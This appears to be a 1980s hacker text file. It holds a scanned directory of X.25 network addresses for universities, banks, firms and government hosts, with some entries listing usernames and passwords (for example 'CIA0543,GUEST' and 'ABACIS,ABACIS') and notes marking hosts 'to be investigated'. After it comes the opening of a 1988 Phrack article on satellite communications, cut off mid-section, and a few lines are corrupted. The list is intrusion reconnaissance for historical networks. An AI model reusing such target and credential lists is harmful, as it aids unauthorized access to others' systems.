Midnet Gatew. |0234260227227| | | | | | |UK |

NUMAC |0234263259159| | | | | | |UK |

Sharp Comp. |0234219200203| |,IPSHIP | | | | | | UK |

College LON |0234219200333| |,EUCLID | | | | | | UK |

Brit. TELECOM |023421920101030 |,TSTB | | | | | | UK |

Phis. Labtory |0234219709111| |,NPL1 | | | | | | UK |

Phis. Labtory |0234219709210| |,NPL2 | | | | | | UK |

Queen Marry C.|023419806160 | |,QMC | | | | | | UK |

Atom.Ener.Res.|0234223519111| |,AERE | | | | | | UK |

Database |023422351911198 |,DAADA | | | | | | UK |

Uni Leverpool |0234251248248| |,LIVE | | | | | | UK |

Space Research|0234290524242| |,RSRERADIO | | | | | | UK |

Brit. Oxig. |0234293212212| |,BOC | | | | | | UK |

A M D A H L |0240515330 | |,QZIBQZ | | | | | | |

Cyber |02405015320 | |,OZCBQZ | | | | | | |

H M I | 45300217 | |,HMI | | | | | | DE |

S W |02405020328 | |,QZXAQZ via reverse Pad| | | | | |

PSS Mail Serv |023421920105 | | | | | | UK |

C E R N |022846811405 | | | | | |

W A X Bank FRA| 45611040187| |????????????|???????????| | | |DE |

Uni Bochum | 45611040240| | | | | | |DE |

Uni Berlin | 4530040023 | | | | | | DE |

Teleprint SBR | 4568100010 | | | | | | DE |

Max Planc MUC | 45890040220| | | | | | |DE |

B B D A |02062221006 | | | | | |

Dialne |0234212300120| | | | | | |UK |

Euclid LON |0234219200333| | | | | | |UK |

Decates | 44615440371 | | | | | | DE |

R M I Aachen | 44241040341 | | | | | | DE |

N P L I |0234219709111| | | | | | |UK |

T S T B |023421920101030 | | | | | | UK |

U C L |0234219200300| | | | | | |UK |

Dimdi |45221040006 | |,DA | | | | | | DE |

Dimdi |45221040104 | |,DA | | | | | | DE |

Emery STR |4471149236 | | | | | |DE |

|07222211100171 | | | | | |

|43221093001 | |U5JM11964,***** | | | | | DE |

|02222632004 | |ask reply for some NUA's| | | | | IT |

|03106001977 | | | | | | US |

|023520014300165 | | | | | | UK |

______________|_____________|____|______

CTR NUA NAME,UID,PW,REMARK

========================================

00000 15000006 FTP FOR ECSVAX

00000 15000019 FTP FOR EEVAX

00000 15000034 WEST OF SCOT. COLL. OF AGRIC.

00000 15000036 FTP FOR CSTVAX

00000 1500100750 FTP FOR ITS63A

00000 1500101570 IT SCHOOL 63/40

00000 16000002 EMAS FRONT END

========================

= AUS ‑ Australia =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

AUS 05052 28621000 ANGLO/AUSTRALIAN OBSERVATORY

AUS 05052 28621001 CSIRO RADIO‑PHYSICS

AUS 05052 28621001 FTP FOR EPPING

AUS 05052 82620000 FTP FOR AUSTEK

AUS 05052 82620000 VAX IN SIDNEY, AUSTRALIA

AUS 05053 210003 MIDAS FOX TEST

========================

= CH ‑ Switzerland =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

CH 02284 64110115 DATA.STAR

CH 02284 6811405

CH 02284 681140510,LO PACX2

CH 02284 6911003 NOS.CYBER,CIA0543,GUEST

CH 02284 79110650 KOMETH.TELEPAC

CH 02284 7911118 ZEV

CH 02284 64110110 DATASTAR

CH 02284 68113150 MANAGEMENT JOINT TRUST

========================

= D ‑ West Germany =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

D 02624 4890049130

D 02624 5211040026

D 02624 5211040026 PRIMENET

D 02624 5221040002

D 02624 5221040006 MEDICAL DOCS,COLOGNE

D 02624 5221040104 GERMAN MED. INST., COLOGNE

D 02624 5228040187 PI.BONN

D 02624 5300021713

D 02624 5400030029

D 02624 5400030035

D 02624 5400030041

D 02624 5400030046

D 02624 5400030071

D 02624 5400030090 (cierr 1402)

D 02624 5400030104

D 02624 5400030105

D 02624 5400030110 HOST

D 02624 5400030113 (cierr 1402)

D 02624 5400030138

D 02624 5400030150

D 02624 5400030158

D 02624 5400030175

D 02624 5400030187 E2000 HAMBURG VAX

D 02624 5400030201 HASYLAB‑VAX

D 02624 5400030202 HERA MAGNET MEASUREMENT VAX 750

D 02624 5400030215

D 02624 5400030259

D 02624 5400030261

D 02624 5400030296 DFH2001I

D 02624 5400030502

D 02624 5400030519

D 02624 5400030566 DFH2001I

D 02624 5400030578 PRIMENET 20.0.4 DREHH

D 02624 5400090184

D 02624 5400091110 DT.MAILBOX

D 02624 5611040009 CENTRE FOR INFO AND DOC,GERMANY

D 02624 5615140282

D 02624 5621040000 TELEBOX

D 02624 5621040000 TELEBOX

D 02624 5621040014 ACF/VTAM

D 02624 5621040025 OEVA

D 02624 5621040026 HOST

D 02624 5621040027 BASF/FER.VAX 8600

D 02624 5621040508 VCON0.BASF.A6

D 02624 5621040516 CN01

D 02624 5621040532

D 02624 5621040580 DYNAPAC MULTI‑PAD.25

D 02624 5621040581 DYNAPAC MULTI‑PAD.25

D 02624 5621040582

D 02624 5724740001 GERMAN CENTRE FOR TECH.

D 02624 5890040004 ACS.MUNICH

D 02624 5890040081 NOS.SW.SYS.MUNICH

D 02624 5890040185

D 02624 5890040207 DATABASE OTTOBRUNN

D 02624 5890040207

D 02624 5890040220 HOST

D 02624 5890040221 HOST

D 02624 5890040225 QNTEC.MUNICH

D 02624 5890040262 BDS.UNIX

D 02624 5890040266

D 02624 5890040281 DATUS.PAD

D 02624 5890040510

D 02624 5890040522 PLESSEY.SEMICOND.VAX

D 02624 5890040542

D 02624 589009012

D 02624 5913111 ERLANGEN CYBER 173, NURNBURG

========================

= F ‑ France =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

F 02080 34020258

F 02080 7802016901

F 02080 38020676 ILL DIVA

F 02080 91040047 SACLAY, FRANCE

F 02080 91190258 LURE SYNCHROTRON SOURCE

========================

= GB ‑ Great Britian =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

GB 02342 12300120 D.I.SERV.

GB 02342 12301186

GB 02342 1300011

GB 02342 1440012

GB 02342 15710104

GB 02342 19200118 AUTONET

GB 02342 19200146

GB 02342 19200154

GB 02342 19200190 PERG.INFOLN.

GB 02342 19200203

GB 02342 19200222

GB 02342 19200300 UNI.LONDON

GB 02342 19200304

GB 02342 19200394 SIANET

GB 02342 19200871

GB 02342 19201002

GB 02342 1920100515 HOSTESS

GB 02342 1920100615

GB 02342 192010100513

GB 02342 1920101013

GB 02342 1920101030

GB 02342 19709111

GB 02342 206411411 UNI.ESSEX

GB 02342 20641141 UNI.ESSEX

GB 02342 22236236

GB 02342 2271511 ‑‑‑,GUEST,FRIEND (CALL PIP)

GB 02342 2790014302 ALCATEL

GB 02342 12080105

GB 02342 12300120 DIALOG VIA DIALNET IN LONDON

GB 02342 123002920

GB 02342 12301281 ONE TO ONE COMMS

GB 02342 13900101 ALVEY MAIL FACILITY

GB 02342 1390010150 ALVEY MAIL SYS FTP

GB 02342 19200100 UNI OF LONDON COMPUTING CENTRE

GB 02342 19200171

GB 02342 19200220 BRITISH LIBRARY ON‑LINE SYSTEM

GB 02342 19200300 UNIVERSITY COLLEGE, LONDON

GB 02342 19200394 COMPUTER SERVICES, LONDON

GB 02342 1920100513 BRITISH TELECOM SERVICES

GB 02342 1920100620 P. ON‑LINE BILLING SERVICE

GB 02342 1920102517

GB 02342 20641141 UNI OF ESSEX FTP

GB 02342 2223616300 CARDIFF UNIVERSITY MULTICS

GB 02342 27200110 GEAC 8000 ITI

GB 02342 27200112 HEWLETT PACKARD LABS, BRISTOL

GB 02342 31300101 PRIME OFFICE, EDINBURGH

GB 02342 31300102 FORESTRY COMMISSION FTP

GB 02342 31300105 LATTICE LOGIC LTD

GB 02342 31300107

GB 02342 34417117 ICL BRACKNELL

GB 02342 41200107

GB 02342 4620010243 ICL WEST GORTON 'B' SERVICE

GB 02342 4620010248 ICL WEST GORTON 'X' SERVICE

GB 02342 4620010277 FTP FOR ICL WEST GORTON PERQ

GB 02342 4620010277 ICL WEST GORTON PERQ

GB 02342 46240240 ICL KIDSGROVE

GB 02342 53300124 LEICESTER

GB 02342 5820010604 AGRENET CPSE

GB 02342 60227227 UNI OF LEICESTER FTP

GB 02342 61600133 IBM ‑ SALE

GB 02342 61600133 IBM SALE FTP

GB 02342 61643365 ICLBRA

GB 02342 6164336543 ICL WEST GORTON 'B' SERVICE

GB 02342 6164336548 ICL WEST GORTON 'X' SERVICE

GB 02342 6164336577 FTP FOR ICL WEST GORTON PERQ

GB 02342 6164336577 ICL WEST GORTON PERQ

GB 02342 64200136 PRIMENET

GB 02342 70712217 HATFIELD POLYTECHNIC

GB 02342 75312212 BRITISH OXYGEN

GB 02342 75312212 THE WORLD REPORTER

GB 02342 78228282 ICL LETCHWORTH

GB 02342 78228288 ICL LETCHWORTH

GB 02342 90468168

GB 02342 90840111 SCICON, SOUTH ENGLAND

GB 02342 93765265 BRITISH LIBRARY LENDING DIVI.

========================

= I ‑ Italy =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

I 02222 620021 EUROPEAN SPACE AGENCY, ROME

========================

= IRL ‑ Ireland =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

IRL 02724 31540002 EUROKOM (UNIV COLLEGE DUBLIN)

IRL 02724 3154000803

IRL 02724 3154000803 IRL.HEA.TCD.DEC20 (TOPS‑20)

IRL 02724 3159000630

========================

= N ‑ Norway =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

N 02422 11000001 DEC‑10, OSLO UNI

========================

= NL ‑ Netherlands =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

NL 02041 294002 DUPHAR WEESP,HOLLAND

========================

= S ‑ Sweden =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

S 02402 00310228 UNI.LUND

S 02405 015503 GOTTENBURG, SWEDEN

S 02405 02032832 ODEN, SWEDEN

========================

= SF ‑ Finland =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

SF 02442 02007 CANDE IN FINLAND

SF 02442 03008 VAX 11/750 IN FINLAND ========================

= USA = USA =

========================

CTR NUA NAME,UID,PW,REMARK

========================================

USA 03020 58700900 DATAPAC

USA 03020 60100010 UNI.ALBERTA

USA 03106 0050

USA 03106,DELPHI TYMNET

USA 03110 2020014275

USA 03110 20423

USA 03110 4150002000 D.I.SERV.

USA 03110 60300020 COL.DARTMOUTH

USA 03106 GATEWAYS

USA 03106 000000 Unknown

USA 03106 000023

USA 03106 000032

USA 03106 000034

USA 03106 000050 NLM MIS bsd unix

USA 03106 000060

USA 03106 000065

USA 03106 000066 BCS ** to be investigated **

USA 03106 000071

USA 03106 000081 COMPUTONE ** to be investigated **

USA 03106 000093

USA 03106 000096 REMOTE COMPUTING

USA 03106 000098 LOCKHEED DATAPLAN

USA 03106 000101 SIO

USA 03106 000113 1=LINK SYS

3=BANK OF USA,ABACIS,DIRECTOR)

USA 03106 000155

USA 03106 000173 TYMNET/CODAN NET. Inter‑link

USA 03106 000179 LBL

USA 03106 000188

USA 03106 000210

USA 03106 000227

USA 03106 000241 HOST A,4 BAIFS BANK OF AMERICA

S,3 SFDCS1

USA 03106 000249

USA 03106 000280 HONEYWELL MPL

USA 03106 000289 ROSS SYSTEM (32,26,2,3,12,20,21) 7,5,17,18,47,51,A ‑ unknown VAX systems

14,15 ‑ RSTS ROSS SYSTEMS

9,43,44,45,48 ‑ MICRO VMS VAX

USA 03106 000307 INFOMEDIA SERVICE CENTRE ONE

USA 03106 000315

USA 03106 000327

USA 03106 000331 (VM/370 system)

USA 03106 000377 MONSANTO AD RESEARCH PRODUCTION APPLICATION NETWORK

USA 03106 000379

USA 03106 000401 TMCS PUBLIC NETWORK

USA 03106 000411 TYMNET/BOSTON/TNS‑PK1 interlink

USA 03106 000423 CORPORATE COMPUTER SERVICES

USA 03106 000424 (link to 4 VM/370 systems)

USA 03106 000428 AAMNET

USA 03106 000439 MIS 2 (cierr 1402)

USA 03106 000463 SIGNETICS VM/370

USA 03106 000464

USA 03106 000496

USA 03106 000497 UBS COMPUTER SYSTEMS (host)

USA 03106 000498

USA 03106 000515 ONTYME II

USA 03106 000581

USA 03106 000585 C/C/M

USA 03106 000619 SPNB VM/370

USA 03106 000632 TYMNET/TRWNET inter‑link

USA 03106 000633 PUBLIC TYMNET/TRWNET INTERLINK

USA 03106 000636 LINK TO TRAC SYSTEMS (over one 120 terminal) USA 03106 000646

USA 03106 000664

USA 03106 000674

USA 03106 000685 MTS‑A RESEARCH (HOST) 10 ‑ TOPS‑20,

12 ‑ UNKNOWN

14 ‑ UNKNOWN,

20 ‑ MTS(C) TOPS‑20

30 ‑ MTS(F) TOPS‑20,

32 ‑ UNKNOWN

USA 03106 000704 TYMNET‑CUP(704)/DUBB‑NTS(4) inter‑link

USA 03106 000715 TYMNET TEST system

USA 03106 000729 (VM/370 system)

USA 03106 000731

USA 03106 000742 LADC L66A

USA 03106 000755 CORPORATE COMPUTER SERVICES

USA 03106 000759

USA 03106 000760 DEC host Solar Cae/Cam

USA 03106 000761 DOJ host

USA 03106 000788 TYMNET‑6754/McGRAWHILL inter‑link

USA 03106 000793 J&J HOST

USA 03106 000798

USA 03106 000800 link to: CSG VAX, CYBER 815, SB1,

SB2, SB3, SCN‑NET

USA 03106 000821

USA 03106 000832 ONTYME II

USA 03106 000842

USA 03106 000850 CISL SERVICE MACHINE

USA 03106 000859

USA 03106 000871

USA 03106 000898 P&W

USA 03106 000932

USA 03106 001010 DITYMNET01

USA 03106 001024

USA 03106 001030

USA 03106 001036 IBM1

USA 03106 001042 IDC/370

USA 03106 001043

USA 03106 001053 STRATEGIC INFORMATION

USA 03106 001056 SYNTEX TIMESHARING

USA 03106 001105 HOST SGNY 1 ‑ VAX II PRODUCTIONS SYSTEM

3 ‑ VAX II PRODUCTIONS SYSTEM

(tried to 5)

USA 03106 001110

USA 03106 001134 COMPUSERVE

USA 03106 001141 MESSAGE SERVICE SYSTEM (FOX)

USA 03106 001143

USA 03106 001152

USA 03106 001158 TYMNET USER SERVICE

USA 03106 001227 ACF2

USA 03106 001288

USA 03106 001304 ONTYME II

USA 03106 001309

USA 03106 001316

USA 03106 001320

USA 03106 001328

USA 03106 001330 MULTICS, HVN 862‑3642

USA 03106 001341

USA 03106 001358

USA 03106 001361 THOMPSON COMPONENTS‑MOSTEK CORPORATION

USA 03106 001383 HOST 1,A ‑ TILLINGHAST BENEFITS T.SHAR.SYS. 2,C ‑ TILLINGHAST INSURANCE T.SHAR.SYS. 4,D ‑ OUTDIALS 6 ‑ TILLINGHAST VAX 8600

(tried to 10,G)

USA 03106 001391 SOCAL

USA 03106 001399 C80

USA 03106 001400 TMCS PUBLIC NETWORK

USA 03106 001410 DATALYNX/3274 TERMINAL

USA 03106 001417

USA 03106 001434 (host system) ‑ double digits VM is active, tried to BZ

USA 03106 001438

USA 03106 001443

USA 03106 001467 STN INTERNATIONAL

USA 03106 001482 FNOC DDS

USA 03106 001483 ADR HEADQUARTERS

USA 03106 001487

USA 03106 001488 (cierr 1402)

USA 03106 001502 ARGON NATIONAL LAB

USA 03106 001508 IDC/370

USA 03106 001509

USA 03106 001514 (HOST) DC‑10

USA 03106 001519

USA 03106 001533 SBS DATA CENTRE

USA 03106 001557

USA 03106 001560

USA 03106 001572 PRIMECON NETWORK (system 50)

USA 03106 001578

USA 03106 001589

USA 03106 001594 CON138

USA 03106 001611

USA 03106 001612 TYMNET‑NEWARK/TSN‑MRI inter‑link

USA 03106 001616 TYMNET‑5027/McGRAW HILL inter‑link

USA 03106 001624

USA 03106 001642 Host, A ‑ CORNELLA (system choices displayed) USA 03106 001659 BYTE INFORMATIO EXCHANGE,GUEST,GUEST

USA 03106 001663 PEOPLE LINK

USA 03106 001665

USA 03106 001709

USA 03106 001715 TYMNET/BOFANET inter‑link

USA 03106 001727

USA 03106 001757

USA 03106 001763

USA 03106 001765

USA 03106 001766 PRIMENET

USA 03106 001769 S.C. JOHNSON & SON R & D COMPUTER SYSTEMS USA 03106 001789 HOST WYLBUR.N ‑ CICS TWX A,C,D,G,H,P,R,S,V,Z USA 03106 001799 (HOST) classes: 5 ‑ VM/370, 20,23,26 UNKNOWN (TRIED TO 32)

USA 03106 001807

USA 03106 001817 MITEL Host (no luck up to sys 20)

USA 03106 001819 TMCS PUBLIC NETWORK

USA 03106 001831 MULTICS

USA 03106 001842

USA 03106 001844

USA 03106 001851

USA 03106 001853

USA 03106 001854

USA 03106 001857

USA 03106 001864 SUNGARDS CENTRAL COMPUTER FACILITY NETWORKS USA 03106 001873 MULTICS MR10.2I

USA 03106 001874

USA 03106 001880

USA 03106 001881

USA 03106 001892 PRIMENET (certain hours)

USA 03106 001897

USA 03106 001912

USA 03106 001977

USA 03106 002040

USA 03106 002041

USA 03106 002046 MITEL CORP IN KANATA

USA 03106 002050 TYMNET/BOFANET inter‑link,ABACIS,SFDCS1

1 ‑ link,

2 ‑ SFDCS1,DIRECTOR,

3 ‑ ABACIS,ABACIS

A ‑ ABACIS 2

(note, Abacis may be used as U/N for many systems on tymnet)

USA 03106 002060

USA 03106 002070

USA 03106 002086

USA 03106 002095 COMODEX ONLINE SYSTEM

USA 03106 002098 D & B,COMMANDO,DIRECTOR,FUCK

USA 03106 002099 D & B,COMMANDO,ASSASIN,SHIT

USA 03106 002100 D & B,COMMANDO,DIRECTOR,FUCK,RAIDER

USA 03106 002109 TYMNET/15B (inter‑link)

USA 03106 002164 MITRE SYSTEM

USA 03106 002179

USA 03106 002188

USA 03106 002196

USA 03106 002200

USA 03106 002201

USA 03106 002212

USA 03106 002222

USA 03106 002286 Primenet TFGI

USA 03106 002299 CONSILIUM

USA 03106 002306

USA 03106 002314

USA 03106 002320

USA 03106 002329 MFE

USA 03106 002330

USA 03106 002384

USA 03106 002387 ** TO BE INVESTIGATED **

USA 03106 002391

USA 03106 002408

USA 03106 002418 UNC VAX

USA 03106 002443 DATAHUB

USA 03106 002445

USA 03106 002446

USA 03106 002453 PRIMENET

USA 03106 002470

USA 03106 002496 NOS SOFTWARE SYSTEM

USA 03106 002519

USA 03106 002537

USA 03106 002539 TYMNET/CIDN Inter‑link

USA 03106 002545 CENTRE FOR SEISMIC STUDIES

USA 03106 002578 SEL

USA 03106 002580 ** to be investigated **

USA 03106 002584 (HOST)

USA 03106 002602 MULTICS

USA 03106 002603 MULTICS system M

USA 03106 002609 CON5

USA 03106 002614 HOST

USA 03106 002623 VAX/VMS,GUEST

USA 03106 002624 SUNEX‑2060 TOPS‑20

USA 03106 002632

USA 03106 002635 QUOTDIAL

USA 03106 002646

USA 03106 002657

USA 03106 002667

USA 03106 002677 THE TIMES

USA 03106 002694 PVM3101,SPDS/MTAM, MLCM,VM/SP,STRATUS‑1,STRATUS‑2 USA 03106 002700 ANALYTICS SYSTNE

USA 03106 002709 AUTONET

USA 03106 002713

USA 03106 002730

USA 03106 002732

USA 03106 002744

USA 03106 002765 MULTICS

USA 03106 002768 (cierr 1402)

USA 03106 002779 SCJ TIMESHARING

USA 03106 002790 VM/370

USA 03106 002800

USA 03106 002807 ISC

USA 03106 002824

USA 03106 002842

USA 03106 002843

USA 03106 002851 CHEM NETWORK DTSS

USA 03106 002864 RCA SEMICUSTOM

USA 03106 002871 (same as 5603)

USA 03106 002875 (cierr 1402) MTECH/COMMERCIAL SERVICES DIVISION USA 03106 002889 ** to be investigated **

USA 03106 002901

USA 03106 002910 (CIERR 1402)

USA 03106 002921 CHRYSLER NETWORK

USA 03106 002971

USA 03106 002991 US MIS IS400

USA 03106 002995 VAIL VAX

USA 03106 002998 TYMNET/FIRN DATE NETWORK Inter‑link

USA 03106 003002 MULTICS

USA 03106 003009

USA 03106 003028 DCOM class ‑ 0

USA 03106 003030 DCOM class ‑ 0 *investigate*

USA 03106 003036

USA 03106 003050 ATPCO FARE INFORMATION SYSTEM

USA 03106 003062 (Host) class 0,1 ** to be investigated ** USA 03106 003079 VM/370

USA 03106 003092 TYMNET/PROTECTED ACCESS SERVICE SYS. Inter‑link USA 03106 003168 VM/370

USA 03106 003214 VM/370

USA 03106 003220 VM/370

USA 03106 003221 VM/370

USA 03106 003248

USA 03106 003284 COMPUFLIGHT

USA 03106 003286 VAX

USA 03106 003295 TYMNET/PROTECTED ACCESS SERVICE SYSTEMS Inter‑link,ABACIS

USA 03106 003297 TYMNET/PROTECTED ACCESS SERVICE SYSTENS Inter‑link,ABACIS

USA 03106 003310

USA 03106 003321

USA 03106 003356

USA 03106 003365

USA 03106 003373 IOCSQ

USA 03106 003394 (HOST WYN) 1 ‑ VM/370,

2 ‑ VM/370,

3 ‑ IKJ53020A,

5 ‑ VM/370

6 ‑ NARDAC <CR> ‑ NARDAC

USA 03106 003420

USA 03106 003443 ** TO BE INVESTIGATED **

USA 03106 003520

USA 03106 003527

USA 03106 003529 (CIERR 1402)

USA 03106 003534

USA 03106 003564 (CIERR 1402)

USA 03106 003568 OAK TREE SYSTEMS LTD

USA 03106 003572 NORTH AMERICA DATA CENTRE

USA 03106 003579

USA 03106 003604 VM/370

USA 03106 003605

USA 03106 003623

USA 03106 003797

USA 03106 003828 TYMNET/AKNET Inter‑link

USA 03106 003831

USA 03106 003846 (same as 5603)

USA 03106 003879 (CIERR 1402)

USA 03106 003882 BEKINS COMPANY MUS/XA ACF/VTAM NETWORK

USA 03106 003946

USA 03106 003973 FORD ‑ELECTRICAL ELECTRONIC DIRECTORY

USA 03106 003994 FORD ‑ELECTRICAL ELECTRONIC DIRECTORY

USA 03106 004007

USA 03106 004016

USA 03106 004028 MDS‑870

USA 03106 004041 RCA GLOBCOM'S PACKET SWITCHING SERICE

USA 03106 004092

USA 03106 004125

USA 03106 004129 ‑‑‑,ABACIS

USA 03106 004131 ‑‑‑,ABACIS

USA 03106 004137 TSO, VM/370

USA 03106 004173

USA 03106 004174 VM/370

USA 03106 004202

USA 03106 004206 MAINSTREAMS

USA 03106 004210

USA 03106 004288

USA 03106 004296

USA 03106 004341 (HOST) 2 ‑ VM/370, T ‑ VM/370, 1,3,4,A,C,E,Z USA 03106 004350 AEC ** TO BE INVESTIGATED **

USA 03106 004365 NATIONAL LIB.OF MEDICINE'S TOXIC.DATA NETWORK USA 03106 004389 BUG BUSTING MACHINE OF NYN

USA 03106 004468 BETINS COQ,6R5u(VACF/VTAM NETWORK

USA 03106 004472 ROLM CBX DATA‑SWITCHING

USA 03106 004499 MRCA

USA 03106 004514 US MISS (IS400)

USA 03106 004530 (Host) active centre AA, ** investigate ! ** USA 03106 004541 (Host)

USA 03106 004545 HMN

USA 03106 004555 2 CASTER BACKUP

USA 03106 004562

USA 03106 004573

USA 03106 004579

USA 03106 004580 TSO

USA 03106 004619

USA 03106 004645

USA 03106 004702 PRIMENET

USA 03106 004706 (Host)

USA 03106 004726 NALCOCS DEC‑10

USA 03106 004743 TYMNET INFO SERVICE

USA 03106 004755 STORE DEVELOPMENT MACHINE

USA 03106 004759 (Host)

USA 03106 004791 MIS GROUP/CAD DIVISION/COMPUTERLAND CORP. USA 03106 004828 VTAM007

USA 03106 004865 GAB BUSINESS SERVICES

USA 03106 004869

USA 03106 004898

USA 03106 004946

USA 03106 004949

USA 03106 004956 (Host) 0 ‑ Vax,

1 ‑ KL1,

2 ‑ KL,

3 ‑ IBM,

8 ‑ VAX 2,

11 ‑ PC1‑130

USA 03106 004957 NEC SEMI‑CUSTOM DESIGN CENTRE

USA 03106 005018 (Host)

USA 03106 005034 (cierr 1402)

USA 03106 005058

USA 03106 005062 UIS SUPPB=MQDIRNET

USA 03106 005080

USA 03106 005082 COMPAQ

USA 03106 005107

USA 03106 005119 (Host)

USA 03106 005124 OPERATIONAL INFO SYSTEM VAX

USA 03106 005136 ** to be investogated **

USA 03106 005224 (Host)

USA 03106 005229 UNIV.OF PENNSYLVANIA SCHOOL OF ARTS AND SCIENCE USA 03106 005267 CHANEL 01

USA 03106 005320 (Host) US DIGMAL COMPUTER SERVICES

USA 03106 005433

USA 03106 005438

USA 03106 005453

USA 03106 005463 VM/370

USA 03106 005528 STRATUS/32

USA 03106 005531 STRATUS/32

USA 03106 005539 VA II/730

USA 03106 005564 STRATUS/32

USA 03106 005566 Host sys A,1 ‑ 3M TRAC SERVICE system ALICE

B,2 ‑ 3M TRAC SERVICE system BAMBI

3 ‑ 3M TRAC SERVICE system CHIP

4 ‑ 3M TRAC SERVICE system DALE

5 ‑ 3M TRAC SERVICE system ELLIOT

6 ‑ 3M TRAC SERVICE system FLOWER

12,7 ‑ 3M TRAC SERVICE system GRUMPY

8 ‑ TRAC CLUSTER VIRGO, SYSTEM HAPPY

9 ‑ TRAC CLUSTER VIRGO, SYSTEM ISABEL

10 ‑ TRAC CLUSTER VIRGO, SYSTEM JUMBO

11 ‑ TRAC CLUSTER VIRGO, SYSTEM KANGA

13 ‑ VAX

18 ‑ DIGITAL ETHERNET

28 ‑ unknown

31 ‑ CIERR 1402

32 ‑ CIERR 1402

33 ‑ CIERR 1402

34 ‑ CIERR 1402

35 ‑ CIERR 1402

36 ‑ unknown

37 ‑ CIERR 1402

38 ‑ unknown

40 ‑ CPU‑STP‑A

41 ‑ CIERR 1402

43 ‑ UNKNOWN

44 ‑ ATLAS VAX

45 ‑ FAXON INFO SERVICE

46 ‑ ELECTRICAL PRODUCTS

LABORATORY VASX II/750

47,48,49 ‑ unknown

52 ‑ SERC COMPUTER RESOURCES VAX

53 ‑ unknown

54 ‑ SERC COMPUTER RESOURCES VAX

55 ‑ BDS UNIX

81,61 ‑ TRAC CLUSTER LIBRA system LADY

62 ‑ TRAC CLUSTER LIBRA system MICKEY

63 ‑ TRAC CLUSTER GEMINI system NEMO

64 ‑ TRAC CLUSTER GEMINI system OWL

65 ‑ TRAC CLUSTER LIBRA system PLUTO

67 ‑ TRAC CLUSTER GEMINI system QUASAR

68 ‑ unknown

70 ‑ TRAC TIMESHARING VAX

71 ‑ TRAC TIMESHARING VAX

72 ‑ TRACE TIMESHARING VAX

73 ‑ DIGITAL ETHERNET TERMINAL SERVER

74 ‑ TRAC TIMESHARING VAX

76 ‑ TRAC TIMESHARING VAX

81 ‑ TRAC TIMESHARING VAX

USA 03106 005569 STRATUS/32

USA 03106 005571 STRATUS/32

USA 03106 005603 (Host) systems 1,2,3,4,5,C (5=Outdial)

USA 03106 005622

USA 03106 005683 TECHNICAL SUPPORT PRODUCTIONS

USA 03106 005697

USA 03106 005702 AUTH

USA 03106 005704 SPOOL

USA 03106 005705

USA 03106 005706

USA 03106 005707

USA 03106 005708 IFPSE

USA 03106 005709 IFPSE

USA 03106 005711 IFXMP

USA 03106 005712

USA 03106 005725 PRIMENET

USA 03106 005744 (Cierr 1402)

USA 03106 005755 Host system, active links = A,B,C,E,F,H,G,I,

J,K,L,M,O,P,Q,R,

S,T,U,V,W,X,Y,Z

USA 03106 005758 SEI/MUS SYSTEM

USA 03106 005805

USA 03106 005818 CORPORATE MANAGEMENT INFO SYSTEMS

USA 03106 005846 (Host)

USA 03106 005897

USA 03106 005903

USA 03106 005941

USA 03106 005969 PLESSEY SEMICONDUCTORS‑IRVINE

USA 03106 005984 CREDIT AGRICOLE‑USA

USA 03106 006019 PRIMENET

USA 03106 006046

USA 03106 006093 NALCO CHEMICAL COMPANY NETWORK

USA 03106 006121 CORPORATE MANAGEMENT INFO SERVICE

USA 03106 006187

USA 03106 006190 CLEVELAND

USA 03106 006191

USA 03106 006227

USA 03106 006251

USA 03106 006281 EDCS

USA 03106 006283 EDCS

USA 03106 006296

USA 03106 006432 EASYLINK

USA 03106 006434 EASYLINK

USA 03106 006440

USA 03106 006590 US CENTRA SERVICE

USA 03106 006597

USA 03106 006686

USA 03106 006722 INTERNATIONAL NETWORK

USA 03106 006828

USA 03106 006832 A&A DATANET (SYSTEMS 1,8,0,14)

USA 03106 006833 (GO AWAY)

USA 03106 006834

USA 03106 006835 TOC

USA 03106 006867 DATABILITY TIMESHARING SYSTEM II

USA 03106 006994

USA 03106 007028

USA 03106 007103

USA 03106 007177

USA 03106 007272 (CIERR 1402)

USA 03106 007351 PRIMENET

USA 03106 007352 PRIMENET

USA 03106 007377

USA 03106 007596 (Host) A ‑ VM/370, B ‑ VM/370

USA 03106 007640

‑ J. Sluggo

Satellite Communications

==Phrack Inc.==

Volume Two, Issue 21, File 5 of 11

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/

\/

/\ Satellite Communications /\

\/ ~~~~~~~~~~~~~

/\ By Scott Holiday /\

\/ July 11, 1988 \/

/\

\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

Satellite communications systems employ microwave terminals on satellites and ground to earth stations for highly reliable and high‑capacity communications circuits. The communication satellites are positioned in geosynchronous orbits about 22,000 miles above the earth. Thus the rotation of the satellite matches that of the earth, and the satellite appears motionless above earth stations. Three equally spaces satellites are required to cover the entire world.

The satellite's microwave terminals receive signals from an earth station and retransmit those signals on another frequency to another earth station. Because of the long distances involved, the round‑trip communications path takes about a half second. This is referred to as the propagation delay. The propagation delay on a regular terrestrial phone line is about 1 millisecond (ms) per 100 miles.

Each microwave terminal on the satellite, designated as a repeater or transponder, includes a receiver for uplink transmissions and a transmitter for down‑link transmissions. Separate bands of frequencies for up‑link and down‑link transmissions are designated in the 1.5‑30 GHz frequency range (1.5 GHz is equal to 1,500,000,000 Hz, or 1.5 billion hertz). Typical frequencies for communications satellites are 4‑6 GHz for INTELSAT 5 and 12‑14 GHz for Anik‑B, a Canadian satellite.

Each satellite transponder typically has twelve 36‑MHz channels which can be used for voice, data, or television signals. Early communications satellites had some 12 to 20 transponders, and the later satellites have up to 27 or more transponders. INTELSAT 5, for example, has a total of 27 or more transponders providing 24,500 data/voice channels, one transponder providing two 17.5‑MHz TV channels, and one SPADE transponder with 800 channels. SPADE (Single carrier per channel, Pulse code modulation, multiple Access, Demand assignment) is a digital telephone service which reserves a pool of channels in the satellite for use on a demand‑assignment basis. SPADE circuits can be activated on a demand basis between different countries and used for long or short periods of time as needed.

Propagation Delay:

